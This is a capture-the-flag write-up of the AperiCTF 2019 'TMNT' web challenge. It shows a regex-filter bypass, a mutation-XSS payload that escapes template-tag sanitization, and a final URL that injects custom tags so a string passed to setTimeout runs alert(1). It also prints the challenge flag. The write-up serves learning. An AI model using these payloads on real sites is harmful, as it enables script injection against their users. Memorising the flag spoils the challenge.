--- title: AperiCTF 2019 - [Web] TMNT (300 points) author: Maltemo tags: CTF, AperiCTF, Web, XSS, Mutated --- AperiCTF 2019 - AperiCTF 2019 - [Web] TMNT (300 points) === Written by [Maltemo](https://twitter.com/Maltemo), member of team [SinHack](https://sinhack.blog/) [TOC] ___ ## Statement of the challenge ### Description Splinter commence à perdre la mémoire, il a donc développé un site web lui permettant de retrouver les informations sur les différents membres de son équipe. D'après lui son site ne contient aucune vulnérabilité, car tout est géré "côté client". Prouvez-lui le contraire. Note : Faites appel à un membre du staff afin de valider le challenge, l'exécution d'une XSS avec la fonction alert(); est suffisante. ### Website URI : https://walma.re ## Analysis ### First impression ![](https://i.imgur.com/8Y2q9Z4.png) >*WOW ! This is lit :fire:, like :turtle: ninja lit !* >[name=Maltemo] Ok, jokes appart, let's begin. The description gives us clearly the goal, XSS this website. :::info An **XSS (Cross Site Scripting)** is a vulnerability that enables an attacker to execute malicious javascript code on the client side. There are different categories of XSS, most common are : * Stored XSS * Reflective XSS * DOM XSS Less common are : * Universal XSS * Mutated XSS * Other that I don't know or are yet to come ! ::: >When I did the challenge, I didn't noticed that mutated was in upper case on the website. But I also didn't remember the existence of mutated XSS Let's look at the source code of this website, we have two javascript files : * `js/main.js` * `js/PizzaJS.js` #### Main.js The `js/main.js` code is dedicated to the search bar. At the beginning of the code, data is stored about ninja turtles : ```javascript= tmnt = [{'name': 'Leonardo', 'desc': 'The tactical, courageous leader and devoted student of his sensei.'}, {'name': 'Michelangelo', 'desc' : 'The most stereotypical teenager of the team, he is a free-spirited, relaxed, goofy and jokester.'}, {'name': 'Donatello', 'desc' : 'The scientist, inventor, engineer, and technological genius.'}, {'name': 'Raphael', 'desc' : 'The team\'s bad boy, Raphael wears a red mask and wields a pair of sai.'}, {'name': 'Splinter', 'desc' : 'The Turtles\' sensei and adoptive father, Splinter is a Japanese mutant rat.'} ] ``` Then the script extracts the parameter s, which is the query of the search bar. ```javascript= s = new URL(window.location.href).searchParams.get('s'); ``` Then if the search isn't empty and the search **includes** a ninja turtle name, it outputs its description in the `data` element. Includes only means that the search need to find one time a name. But we can add a lot more than just the name. ```javascript= if (s !== null) { desc = ''; for(var i=0; i<tmnt.length; i++) { if(s.includes(tmnt[i]['name'])) { desc = tmnt[i].desc; name = tmnt[i].name; break; } } if (desc !== '') { tmp = document.createElement('template'); // Used to filter HTML / JS tmp.innerHTML = s.replace(/-->/g, ''); // Double security, we never know document.getElementById('data').innerHTML = '<!-- Search : ' + tmp.innerHTML + ' -->' + name + ' : ' + desc; } else { document.getElementById('data').innerHTML = 'No result'; } } else { document.getElementById('suggestion').outerHTML = ''; } ``` You can notice that the innerHTML of the element with `data` id is dynamic and comes from the tmp variable. :::info InnerHTML are entry points for XSS, so let's keep that in mind. ::: #### PizzaJS.js Let's break down this part of the code : ```javascript= var user = {'name': 'Michelangelo', 'pizza_stock': 0, 'eated_pizza' : 0}; ``` First we have a user declared, with a :pizza: stock and eated :pizza:. ```javascript= function wait(ms){ var start = new Date().getTime(); var end = start; while(end < start + ms) { end = new Date().getTime(); } } ``` The wait function is declared but not used, and doesn't seem to give any area for xss attack. ```javascript= window.onload = function(e){ p = document.querySelectorAll("pizza"); for(var i = 0; i < p.length; i++) { if (p[i].getAttribute('cook') !== null) { if (p[i].getAttribute('nb') !== null) { user.pizza_stock += parseInt(p[i].getAttribute('nb'), 10); } else { user.pizza_stock += 1; } } else if (p[i].getAttribute('user') !== null) { user.name = p[i].getAttribute('user'); } else if (p[i].getAttribute('eat') !== null && p[i].getAttribute('nb') !== null) { if (parseInt(p[i].getAttribute('nb'), 10) <= user.pizza_stock) { user.eated_pizza += parseInt(p[i].getAttribute('nb'), 10); user.pizza_stock -= parseInt(p[i].getAttribute('nb'), 10); } else { console.log("Not enough pizza :'("); } if (user.eated_pizza === 1337) { console.log(user.name + " can't eat as much as he wants, he needs to take a break..."); setTimeout('user.eated_pizza = 0; console.log("' + user.name + ' digested everything!")', 3000); } } } } ``` This last part of code is interesting. If there are `<pizza>` element tags in the html page, they will be parsed : * If the element as both `cook` and `nb` attributes, then the pizza stock is incremented by the `nb` parameter. * Else if attribute `user` is set, changes the `name` of the `user` variable * Else if `eat`, `nb` attributes are set AND that `nb` attribute doesn't exceed the `pizza_stock` AND `eated_pizza` is equal to 1337 we have to message logged to our console. In the last option, there is an XSS entry point. When you give a string to a `setTimeout` function in javascript, it is executed like `eval` but after the time given in second parameter (here 3000 ms). :::success So if we are able to trigger this `setTimeout` and changing `user.name` to the code we want, it's jackpot ! ::: BUT there is no `<pizza>` tag in the code, so we will keep this for later. ### Finding the entry point Thanks to all those informations, I was sure that `PizzaJS.js` code needed to be used later, and that our entry point was in the search query. So I started investigating. The hard part for this challenge will be to bypass those filters. ```javascript= tmp = document.createElement('template'); // Used to filter HTML / JS tmp.innerHTML = s.replace(/-->/g, ''); // Double security, we never know ``` For the second filter, it's pretty easy to bypass a replace regex. If you put a simple arrow, this arrow will be replaced by nothing. But a replace is only applied once on the string. So we can play with that to reconstruct our arrow. Here is an example : ```javascript= "test -->".replace(/-->/g, ''); // Output : test "test --->->".replace(/-->/g, ''); //Output : test --> ``` The idea is to surround the expression that will be replaced by this same expression. Fine, let's test this : * **Exploit** : `https://walma.re/?s=Michelangelo--->-><p></p>` * **Result** : `<!-- Search : Michelangelo--&gt;<p></p> -->Michelangelo : The most stereotypical teenager of the team, he is a free-spirited, relaxed, goofy and jokester.` :::danger It failed, the `>` characters was encoded in html symbol, so it will not be interpreted. In addition, the html closing tag for comment was added after my `<p>` tag. ::: My bypass worked, but the sanitization of the input did stop my exploit. #### Understanding the client-side sanitization with template >The <template> tag holds its content hidden from the client. Content inside a <template> tag will not be rendered. The content can be made visible and rendered later by using JavaScript. >[from w3school](https://www.w3schools.com/TagS/tag_template.asp) The innerHTML of a template tag has javascript code execution disabled. But, here comes in the mutated XSS. When I searched on my browser the template tag connection to XSS, I found this article : https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ Which lead to this video of [LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w/featured) explaning mutated XSS : {%youtube lG7U3fuNw3A%} :::info Quick explanation about mutated XSS if you're too lazy too study the resources I gave you : This XSS is called mutated because a same html expression will be interpreted differently inside and outside the `<template>` element. This trick enable us to bypass the sanitization. Little example from the video : ```html <!-- Payload --> <noscript><p title="</noscript><img src=x onerror=alert(1)>"> <!-- inside template tag, it is rendered this way : --> <noscript> <p title="</noscript><img src=x onerror=alert(1)>"> </noscript> <!-- when rendered, it's displayed this way : --> <noscript><p title="</noscript> <img src="x" onerror="alert(1)"> "> <p></p> <!-- even the syntax highlight is lost ^^ --> <!-- but this triggers the alert --> ``` ::: From this point, I tried a new exploit : * **Exploit** : `https://walma.re/?s=Michelangelo<img src="--->-><a/>"/>` * **Result** : `<!-- Search : Michelangelo<img src="--><a>"&gt; --&gt;Michelangelo : The most stereotypical teenager of the team, he is a free-spirited, relaxed, goofy and jokester.</a>` :::success Nice ! I just escaped the html comment ! ::: Now that I can create html elements, I thought about the possibility of adding `<pizza>` tags to execute my xss. :::warning Remember, the template tags disable javascript execution on the tag passing through its innerHTML. A `<script>alert(1)</script>` or a `<img src=x onerror=alert(1)/>` won't be executed. ::: Now is time to come back to the `PizzaJS.js` entry point we saw earlier. ### Complete exploit The aim will be to create an exploit that will execute some code only with the `<pizza/>` element. ```javascript setTimeout('user.eated_pizza = 0; console.log("' + user.name + ' digested everything!")', 3000); ``` Our exploit will be contained in the `user.name` property. By setting this string `\");alert(1);console.log(\"`, the `setTimeout` will have this string to execute : ```javascript setTimeout('user.eated_pizza = 0; console.log("");alert(1);console.log(" digested everything!")', 3000); ``` Ok fine, but how do we set `user.name` ? We can achieve this with `<pizza/>` tags : ```html <pizza user='");alert("'/> ``` Next, we have to eat 1337 :pizza:. So before eating them, we have to cook them : ```html <pizza cook='1' nb='1337'/> <pizza eat='1337' nb='1337'/> ``` If you don't understand this step, I invite you to go back and read the analyze of the `PizzaJS.js` script. So now, we add the :pizza: elements to the payload and we got our **final exploit** : * Exploit : `https://walma.re/?s=Michelangelo<img src="--->-><pizza user='");alert(1);console.log("'/><pizza cook='1' nb='1337'/><pizza eat='1337' nb='1337'/> "/>` * Result : `<!-- Search : Michelangelo<img src="--><pizza user="&quot; );alert(1);console.log(&quot;" =""=""><pizza cook="1" nb="1337"><pizza eat="1337" nb="1337"> "/&gt;</pizza></pizza> --&gt;Michelangelo : The most stereotypical teenager of the team, he is a free-spirited, relaxed, goofy and jokester.</pizza>` ![](https://i.imgur.com/YBgq2QV.png) :::success :turtle: :pizza: Turtle ninja successfuly exploited :trophy: :confetti_ball: :beers: ::: ## Solution ### TL;DR This was a mutated XSS on an html comment in order to add `<pizza>` tags that in the end executed the javascript. ### Flag The flag is **APRK{Mut4nT_D0M_b4s3D_R0p_C5p_byP455_X55}** Thank you for this challenge, it was an interesting one, I learned a lot ! ### Alternative answer Checkout the [exploit version given by the AperiCTF admins](https://aperikube.fr/docs/aperictf_2019/), it was really interesting and cleaner than my answer. ___ <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-nd/4.0/88x31.png" /></a><br />This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/4.0/">Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License</a>.